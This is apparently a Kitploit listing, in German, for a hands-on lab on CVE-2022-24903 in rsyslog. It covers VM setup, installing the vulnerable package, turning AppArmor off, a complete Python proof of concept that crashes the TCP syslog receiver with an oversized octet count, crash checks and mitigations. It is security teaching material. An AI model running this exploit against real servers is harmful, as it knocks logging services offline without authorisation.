Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-basierter Pufferüberlauf | Kitploit
Tools/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
SchwachstellenanalyseExploitationLernen & BildungBinary-ExploitationLabs & Praxis
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-basierter Pufferüberlauf

Repository anzeigen
4vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-24903 Praktisches Labor

Autor: Andrew Beshay Mousa

Ein praktisches Labor, das die Heap-Pufferüberlauf-Schwachstelle in rsyslog demonstriert.

rsyslog CVE Type Protocol

Eine praktische Laborumgebung, um die rsyslog Heap-Pufferüberlauf-Schwachstelle (CVE-2022-24903) über das Octet-Count-Framing beim TCP-Syslog-Empfang zu reproduzieren und zu verstehen.


Inhaltsverzeichnis

  • Überblick
  • Laborarchitektur
  • Voraussetzungen
  • Schwachstellendetails
  • Laboreinrichtung
    • Zielmaschine (Ubuntu)
    • Angreifermaschine (Kali)
  • Ausnutzung
  • Verifizierung
  • Fehlerbehebung
  • Gegenmaßnahmen
  • Referenzen

  • Überblick

    CVE-2022-24903 ist eine Heap-Pufferüberlauf-Schwachstelle im TCP-Syslog-Empfangsmodul (imtcp) von rsyslog bei Verwendung der oktettzählenden Rahmung (RFC 5425).

    Ein Angreifer kann eine präparierte TCP-Syslog-Nachricht mit einem übermäßig langen Oktettanzahl-Präfix senden, wodurch rsyslog über die Grenzen eines heap-allokierten Puffers hinaus schreibt. Dies führt zu einem Denial-of-Service (DoS) oder potenzieller Speicherkorruption.

    AttributWert
    CVE-IDCVE-2022-24903
    Betroffenrsyslog < 8.2204.1
    AngriffsvektorNetzwerk
    Port514/TCP
    Modulimtcp (TCP-Eingang)
    AuswirkungDoS / Heap-Korruption
    RCE wahrscheinlich?Nein (Herstellereinschätzung)

    Laborarchitektur

    root@kitploit:~
    +----------------------------------------------------------+
    |                  Network: Host-Only                       |
    |                Subnet: 192.168.56.0/24                   |
    +--------------------------+-------------------------------+
    |                          |                               |
    |   +---------------+      |      +--------------------+   |
    |   |  [Attacker]   |      |      |     [Target]       |   |
    |   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
    |   |               | TCP  |      |  rsyslog 8.2001.0  |   |
    |   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
    |   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
    |   |  CPU: 1       |      |      |  CPU: 1            |   |
    |   +---------------+      |      +--------------------+   |
    |                          |                               |
    +----------------------------------------------------------+
    

    Benötigte VMs

    VMOSRolleIPRAMCPU
    ZielUbuntu 22.04Verwundbarer rsyslog-Server192.168.56.201 GB1
    AngreiferKali LinuxExploit-Sender192.168.56.102 GB1

    Hinweis: Du kannst jede Ubuntu-Version (20.04, 22.04, 24.04) als Ziel verwenden. Entscheidend ist, das verwundbare rsyslog 8.2001.0-.deb-Paket manuell zu installieren.


    Voraussetzungen

    • VirtualBox oder VMware Workstation
    • Ubuntu 22.04 ISO (~2 GB)
    • Kali Linux VM (~4 GB)
    • Host-Only-Netzwerk, konfiguriert in deinem Hypervisor
    • Grundkenntnisse über Linux-Befehle und Python

    Schwachstellendetails

    Was ist Octet-Counted Framing?

    Bei TCP-Syslog (RFC 5425) wird den Nachrichten ihre Länge in Bytes vorangestellt:

    root@kitploit:~
    123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
    └─┘
     octet count (3 digits = 123 bytes follow)
    

    Der Fehler

    In verwundbaren rsyslog-Versionen funktioniert der Oktettanzahl-Parser wie folgt:

    1. Er sammelt Ziffern in einem Heap-Puffer fester Größe
    2. Er prüft die Puffergrenzen beim Schreiben von Ziffern nicht
    3. Er schreibt weiterhin Ziffern, auch nachdem die Oktettanzahl den maximal zulässigen Wert überschritten hat
    root@kitploit:~
    // Simplified vulnerable logic:
    char buffer[20];          // Small heap buffer
    int i = 0;
    while (isdigit(ch)) {     // Read digits
        buffer[i++] = ch;     // Write to buffer
        // MISSING: if (i >= 20) break;
        ch = next_char();
    }
    

    Ergebnis: Das Senden von 9999... (5000+ Ziffern) lässt den Heap-Puffer überlaufen und korrumpiert angrenzenden Speicher.

    Warum RCE schwierig ist

    • Der Überlauf ist auf ausschließlich numerische Zeichen (0-9) beschränkt
    • Der Parser stoppt beim ersten Nicht-Ziffern-Zeichen
    • Shellcode kann nicht direkt injiziert werden
    • DoS ist garantiert; RCE wird vom Hersteller als unwahrscheinlich eingestuft

    Laboreinrichtung

    Schritt 1: Host-Only-Netzwerk konfigurieren

    Erstelle in deinem Hypervisor ein Host-Only-Netzwerk:

    • Subnetz: 192.168.56.0/24
    • DHCP: Deaktiviert (statische IPs)

    Verbinde beide VMs mit diesem Netzwerk.


    Schritt 2: Zielmaschine (Ubuntu)

    2.1 Statische IP festlegen

    root@kitploit:~
    sudo nano /etc/netplan/00-installer-config.yaml
    

    Einfügen:

    root@kitploit:~
    network:
      version: 2
      ethernets:
        enp0s3:
          dhcp4: no
          addresses:
            - 192.168.56.20/24
    

    Anwenden:

    root@kitploit:~
    sudo netplan apply
    

    Überprüfen:

    root@kitploit:~
    ip addr show | grep 192.168.56.20
    

    2.2 Modernes rsyslog stoppen und entfernen

    root@kitploit:~
    sudo systemctl stop rsyslog.service syslog.socket
    sudo systemctl disable rsyslog.service syslog.socket
    sudo systemctl mask rsyslog.service syslog.socket
    sudo apt-get remove --purge -y rsyslog
    sudo apt-get autoremove -y
    

    2.3 Verwundbares rsyslog herunterladen und installieren

    root@kitploit:~
    cd /tmp
    wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo apt-get install -f -y
    sudo apt-mark hold rsyslog
    

    Falls du einen dpkg-Sperrfehler erhältst:

    root@kitploit:~
    sudo kill -9 <PID>
    sudo rm -f /var/lib/dpkg/lock-frontend
    sudo dpkg --configure -a
    

    Version überprüfen:

    root@kitploit:~
    rsyslogd -v | head -2
    

    Erwartete Ausgabe:

    root@kitploit:~
    rsyslogd  8.2001.0
    

    2.4 AppArmor deaktivieren (nur Labor)

    AppArmor kann rsyslog daran hindern, mit dem alten Paket korrekt zu funktionieren:

    root@kitploit:~
    sudo systemctl stop apparmor
    sudo systemctl disable apparmor
    

    2.5 rsyslog für TCP 514 konfigurieren

    root@kitploit:~
    sudo nano /etc/rsyslog.conf
    

    Datei leeren und Folgendes einfügen:

    root@kitploit:~
    module(load="imtcp")
    input(type="imtcp" port="514")
    *.* /var/log/all-messages.log
    

    2.6 Firewall-Port öffnen

    root@kitploit:~
    sudo ufw allow 514/tcp
    sudo ufw --force enable
    

    2.7 rsyslog starten

    root@kitploit:~
    sudo systemctl unmask rsyslog.service syslog.socket
    sudo systemctl restart rsyslog
    sudo systemctl status rsyslog --no-pager
    

    Überprüfen, ob der Dienst lauscht:

    root@kitploit:~
    sudo ss -tlnp | grep 514
    

    Erwartet:

    root@kitploit:~
    LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))
    

    Schritt 3: Angreifermaschine (Kali)

    3.1 Statische IP festlegen

    root@kitploit:~
    sudo nano /etc/network/interfaces
    

    Einfügen:

    root@kitploit:~
    auto eth0
    iface eth0 inet static
        address 192.168.56.10
        netmask 255.255.255.0
    

    Oder falls du Netplan verwendest:

    root@kitploit:~
    sudo nano /etc/netplan/01-netcfg.yaml
    
    root@kitploit:~
    network:
      version: 2
      ethernets:
        eth0:
          dhcp4: no
          addresses:
            - 192.168.56.10/24
    
    root@kitploit:~
    sudo netplan apply
    

    3.2 Exploit-Skript erstellen

    root@kitploit:~
    cd ~/Desktop
    nano exploit.py
    

    Einfügen:

    root@kitploit:~
    #!/usr/bin/env python3
    """
    CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
    Target: rsyslog 8.2001.0 on TCP port 514
    Author: Andrew Beshay Mousa
    """
    
    import socket
    import sys
    
    TARGET = "192.168.56.20"  # Change to your Target IP
    PORT = 514
    
    def exploit():
        """
        Send a crafted TCP syslog message with an excessively long octet-count prefix.
        The octet-count parser writes digits to a heap buffer without bounds checking,
        causing a heap buffer overflow.
        """
        # Create a massive octet count string (5000+ digits)
        # This overflows the heap buffer allocated for parsing the count
        overflow_digits = b"9" * 5000
    
        # The rest of the message (parser will crash before processing this)
        syslog_msg = b" <1>test crash message\n"
    
        payload = overflow_digits + syslog_msg
    
        print(f"[*] Target: {TARGET}:{PORT}")
        print(f"[*] Payload size: {len(payload)} bytes")
        print(f"[*] Octet count digits: {len(overflow_digits)}")
    
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((TARGET, PORT))
    
            print(f"[*] Connected. Sending payload...")
            sock.sendall(payload)
    
            # Try to receive (likely won't get anything back after crash)
            try:
                response = sock.recv(1024)
                print(f"[+] Received: {response}")
            except socket.timeout:
                print("[!] No response - target may have crashed!")
    
            sock.close()
            print("[*] Exploit completed.")
    
        except ConnectionRefusedError:
            print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
            sys.exit(1)
        except BrokenPipeError:
            print("[!] Connection broken - target likely crashed mid-transmission!")
    
    if __name__ == "__main__":
        print("=" * 50)
        print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
        print("=" * 50)
        exploit()
    

    Ausführbar machen:

    root@kitploit:~
    chmod +x exploit.py
    

    Ausnutzung

    Vorabprüfung

    Führe von der Angreifer-Maschine aus einen Konnektivitätstest durch:

    root@kitploit:~
    nc -zv 192.168.56.20 514
    

    Erwartet:

    root@kitploit:~
    (UNKNOWN) [192.168.56.20] 514 (shell) open
    

    Exploit ausführen

    root@kitploit:~
    python3 ~/Desktop/exploit.py
    

    Erwartete Ausgabe:

    root@kitploit:~
    ==================================================
    CVE-2022-24903 rsyslog Heap Buffer Overflow
    ==================================================
    [*] Target: 192.168.56.20:514
    [*] Payload size: 5027 bytes
    [*] Octet count digits: 5000
    [*] Connected. Sending payload...
    [!] No response - target may have crashed!
    [*] Exploit completed.
    

    Verifizierung

    Überprüfe auf der Zielmaschine den Absturz:

    Methode 1: Prüfen, ob rsyslog noch läuft

    root@kitploit:~
    ps aux | grep rsyslog
    

    Wenn keine Ausgabe -> rsyslog ist abgestürzt

    Methode 2: Kernel-Logs überprüfen

    root@kitploit:~
    sudo dmesg | tail -10
    

    Erwartete Ausgabe:

    root@kitploit:~
    audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
    

    Oder:

    root@kitploit:~
    rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
    

    Methode 3: systemd-Journal überprüfen

    root@kitploit:~
    sudo journalctl -u rsyslog --no-pager | tail -10
    

    Methode 4: Neustart und erneuter Test

    Um die Reproduzierbarkeit zu bestätigen:

    root@kitploit:~
    sudo systemctl restart rsyslog
    sudo ss -tlnp | grep 514
    

    Führe anschließend den Exploit erneut von Kali aus. Der Absturz sollte erneut auftreten.


    Fehlerbehebung

    ProblemLösung
    Connection refusedrsyslog läuft nicht oder lauscht nicht auf TCP 514. Prüfe sudo systemctl status rsyslog und `sudo ss -tlnp
    Unit rsyslog.service is maskedFühre sudo systemctl unmask rsyslog.service syslog.socket aus
    dpkg frontend lockFühre sudo kill -9 <PID> aus, danach sudo rm -f /var/lib/dpkg/lock-frontend
    AppArmor DENIED in dmesgFühre sudo systemctl stop apparmor && sudo systemctl disable apparmor aus
    rsyslog-Version ist 8.2112+Du hast die gepatchte Version installiert. Lade rsyslog_8.2001.0-1ubuntu1_amd64.deb manuell herunter und installiere sie
    Kein Absturz nach dem ExploitErhöhe die Payload-Größe auf b"9" * 20000

    Gegenmaßnahmen

    1. rsyslog aktualisieren

    root@kitploit:~
    sudo apt-mark unhold rsyslog
    sudo apt-get update
    sudo apt-get install rsyslog
    

    Gepatchte Version überprüfen:

    root@kitploit:~
    rsyslogd -v | head -2
    

    Sollte 8.2204.1 oder höher sein.

    2. TCP-Syslog deaktivieren, falls nicht benötigt

    Kommentiere in /etc/rsyslog.conf aus:

    root@kitploit:~
    # module(load="imtcp")
    # input(type="imtcp" port="514")
    

    3. TLS/SSL verwenden (RFC 5425)

    Falls TCP-Syslog erforderlich ist, verwende einen verschlüsselten Transport:

    root@kitploit:~
    module(load="imgtls")
    input(type="imgtls" port="6514")
    

    4. Firewall-Einschränkungen

    Beschränke TCP 514 auf vertrauenswürdige Hosts:

    root@kitploit:~
    sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
    

    Referenzen

    • NVD - CVE-2022-24903
    • rsyslog Security Advisory
    • Ubuntu Security Notice USN-5404-1
    • RFC 5424 - Syslog Protocol
    • RFC 5425 - TLS Transport

    Haftungsausschluss

    Dieses Labor dient ausschließlich Bildungs- und Forschungszwecken. Verwende diesen Exploit nicht gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche Genehmigung zum Testen hast. Der Autor übernimmt keine Haftung für den Missbrauch dieser Informationen.


    Lizenz

    Dieses Projekt ist unter der MIT-Lizenz lizenziert.


    Hergestellt mit Kaffee und Neugier von Andrew Beshay Mousa.

    Tool herunterladen